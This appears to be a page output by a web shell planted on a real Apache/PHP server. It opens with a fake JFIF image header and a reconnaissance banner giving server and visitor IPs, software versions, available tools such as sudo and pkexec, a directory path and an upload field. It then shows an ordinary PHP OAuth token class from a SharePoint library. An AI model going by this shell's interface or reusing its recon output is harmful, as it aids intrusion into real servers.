????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.224.72.117 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/sharepoint/vendor/vgrem/php-spo/src/Runtime/Auth/ |
Upload File : |
<?php namespace Office365\Runtime\Auth; use Exception; use Office365\Runtime\Http\HttpMethod; use Office365\Runtime\Http\RequestOptions; use Office365\Runtime\Http\Requests; /** * OAuth2 provider to acquire the access token from AAD */ class OAuthTokenProvider extends BaseTokenProvider { /** * @var string */ private static $TokenEndpoint = '/oauth2/token'; /** * @var string */ //private static $AuthorityUrl = 'https://login.microsoftonline.com/common'; public static $AuthorityUrl = "https://login.microsoftonline.com/"; /** * @var string */ //private static $AuthorizeEndpoint = '/oauth2/authorize'; /** * @var string */ //public static $ResourceId = 'https://outlook.office365.com/'; //private static $ResourceId = 'https://graph.windows.com/'; /** * @var string */ private $authorityUrl; /** * @param string $authorityUrl */ public function __construct($authorityUrl) { $this->authorityUrl = $authorityUrl; } /** * Acquires the access token * @param array $parameters * @return mixed * @throws Exception */ public function acquireToken($parameters) { $request = $this->prepareTokenRequest($parameters); $response = Requests::execute($request); $response->validate(); return $this->normalizeToken($response->getContent()); } /** * @param $parameters * @return RequestOptions */ private function prepareTokenRequest($parameters) { $tokenUrl = $this->authorityUrl . self::$TokenEndpoint; $request = new RequestOptions($tokenUrl); $request->ensureHeader('content-Type', 'application/x-www-form-urlencoded'); $request->Method = HttpMethod::Post; $request->Data = http_build_query($parameters); return $request; } /** * Parse the id token that represents a JWT token that contains information about the user * @param string $tokenValue * @return mixed */ private function normalizeToken($tokenValue) { $tokenPayload = json_decode($tokenValue,true); if (!is_null($tokenPayload)) { if (isset($tokenPayload['id_token'])) { $idToken = $tokenPayload['id_token']; $idTokenPayload = base64_decode( explode('.', $idToken)[1] ); $tokenPayload['id_token_info'] = json_decode($idTokenPayload, true); } } return $tokenPayload; } }